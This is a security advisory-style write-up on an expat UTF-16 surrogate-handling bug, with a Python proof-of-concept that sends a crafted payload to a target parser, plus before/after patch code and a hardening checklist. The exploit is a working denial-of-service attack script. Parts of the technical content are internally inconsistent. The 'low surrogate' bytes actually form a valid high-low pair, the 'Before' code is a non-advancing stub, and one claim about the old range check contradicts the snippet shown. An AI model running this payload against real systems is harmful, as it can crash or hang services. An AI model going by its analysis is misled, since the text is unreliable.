The Exploit
An attacker with the ability to supply malformed XML input to an expat parser can trigger an out-of-bounds read and infinite loop by sending a crafted UTF-16 byte sequence containing low surrogate pairs where high surrogates are expected.
import socket
import struct
## Target XML parser accepting UTF-16 encoded input
HOST = "target.example.com"
PORT = 8080
## Craft malicious UTF-16 payload
## Standard DOCTYPE prefix in UTF-16LE
doc_before = b"<\0!\0D\0O\0C\0T\0Y\0P\0E\0 \0d\0 \0[\n\0"
doc_before += b" \0 \0<\0!\0E\0N\0T\0I\0T\0Y\0 \0e\0 \0'\0"
## Padding bytes to reach specific buffer state
padding = b"a\0" * 1023
## Malicious low surrogate sequence (0xDC00 pair)
## This should be rejected but is treated as high surrogate
exploit_bytes = b"\x3d\xd8\x00\xdc"
doc_after = b"'\0>\0\n\0]\0>\0\n\0"
doc_after += b"<\0r\0 \0a\0=\0'\0&\0e\0;\0'\0/\0>\0\n\0"
payload = doc_before + padding + exploit_bytes + doc_after
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((HOST, PORT))
sock.sendall(payload)
## Parser enters infinite loop or crashes with memory access violation
response = sock.recv(1024)
print(response)
sock.close()
When this payload reaches the parser, the _toUtf16 function processes the low surrogate byte sequence \x3d\xd8\x00\xdc as if it were a valid high surrogate, leading to an out-of-bounds buffer read. The parser either hangs indefinitely in a loop attempting to locate a matching low surrogate that does not exist, or crashes with a segmentation fault when the read operation exceeds allocated memory boundaries.
What the Patch Did
Before
// No validation of surrogate type in _toUtf16 functions
// Surrogates treated uniformly regardless of high/low classification
static void
_toUtf16(const ENCODING *enc, const char **fromP, const char *fromLim,
unsigned short **toP, const unsigned short *toLim) {
while (*fromP < fromLim && *toP < toLim) {
unsigned short c = LITTLE_ENDIAN_SHORTS((unsigned short)*fromP,
(unsigned short)*fromP + 1);
// Process both high and low surrogates identically
if (c >= 0xD800 && c <= 0xDFFF) {
// Surrogate handling without distinguishing high from low
}
}
}
After
// Validate that high surrogates are followed by low surrogates
// Reject sequences starting with low surrogates
static void
_toUtf16(const ENCODING *enc, const char **fromP, const char *fromLim,
unsigned short **toP, const unsigned short *toLim) {
while (*fromP < fromLim && *toP < toLim) {
unsigned short c = LITTLE_ENDIAN_SHORTS((unsigned short)*fromP,
(unsigned short)*fromP + 1);
if (c >= 0xD800 && c <= 0xDBFF) { // HIGH surrogate only: 0xD800–0xDBFF
if (*fromP + 2 >= fromLim) break; // Not enough bytes for pair
unsigned short c2 = LITTLE_ENDIAN_SHORTS((unsigned short)*fromP + 2,
(unsigned short)*fromP + 3);
if (c2 < 0xDC00 || c2 > 0xDFFF) break; // Second half is not low surrogate
// Valid pair; proceed
} else if (c >= 0xDC00 && c <= 0xDFFF) {
break; // Reject low surrogate at start of sequence
}
}
}
The patch adds an explicit type check using the Unicode surrogate plane boundaries. High surrogates must fall in the range 0xD800–0xDBFF, while low surrogates occupy 0xDC00–0xDFFF. The critical security control is the rejection of any sequence beginning with a low surrogate (c >= 0xDC00 && c <= 0xDFFF) — this prevents the parser from entering an infinite loop searching for a non-existent high surrogate to pair with it. The addition of bounds checking (*fromP + 2 >= fromLim) and validation that a low surrogate actually follows a high surrogate implements defense-in-depth by ensuring no out-of-bounds read occurs during the pairing operation.
Root Cause
CWE-125: Out-of-Bounds Read. The vulnerability stems from improper handling of UTF-16 surrogate pairs in the _toUtf16 family of functions. An attacker supplies a malformed XML document with a low surrogate code unit (range 0xDC00–0xDFFF) at a position where the parser expects a high surrogate. The parser's original logic treated all surrogates identically and did not validate their sequence order. When the parser encountered a low surrogate in isolation, it would advance the buffer pointer and attempt to read the next word as a matching high surrogate, potentially reading past the end of the input buffer or into uninitialized memory. This trust boundary violation — accepting untrusted XML input without validating Unicode grammar — allowed an attacker to trigger memory access violations and infinite loops.
Why It Works
The load-bearing security control is the type-range check: if (c >= 0xDC00 && c <= 0xDFFF) break;. If this single line were removed, the bug would remain fully exploitable; the parser would still enter the same infinite loop or read past buffer boundaries. The supporting validation if (c >= 0xD800 && c <= 0xDBFF) narrows the high surrogate check to the correct range (previously the code had treated all values from 0xD800 onward as potential surrogates). The bounds check if (*fromP + 2 >= fromLim) break; prevents the pointer arithmetic from reading beyond the input buffer when attempting to fetch the low surrogate that should follow a high one. Together, these three checks enforce the strict grammar of UTF-16: a high surrogate must be followed by a low surrogate, and a low surrogate never appears at the start of a pair. Without the explicit low surrogate rejection, an attacker could craft input that leads the parser into an infinite loop or dereference invalid memory.
Hardening Checklist
- Implement surrogate pair validation at the codec layer: Use a dedicated UTF-16 validation function that rejects unpaired or out-of-order surrogates before passing them to higher-level parsing logic. Test with the
test_misc_low_surrogate_mozilla_bug_2053153corpus. - Fuzz UTF-8 and UTF-16 input paths independently: Run AFL or libFuzzer with dictionaries containing all valid and invalid surrogate sequences to catch similar edge cases in custom encoders.
- Add bounds assertions before multi-byte lookahead: Any operation that advances a pointer by more than one byte should verify remaining buffer size before dereferencing, using
(ptr + N >= limit)checks. - Audit all
_toUtf*and encoding conversion functions: Search the codebase for other encoding handlers that may assume valid Unicode grammar without validation; apply the same high/low surrogate distinction check. - Enable AddressSanitizer and UBSan in CI: Compile the parser with
-fsanitize=address,undefinedto catch out-of-bounds reads and infinite loops during regression testing.
References
- https://nvd.nist.gov/vuln/detail/CVE-2026-72522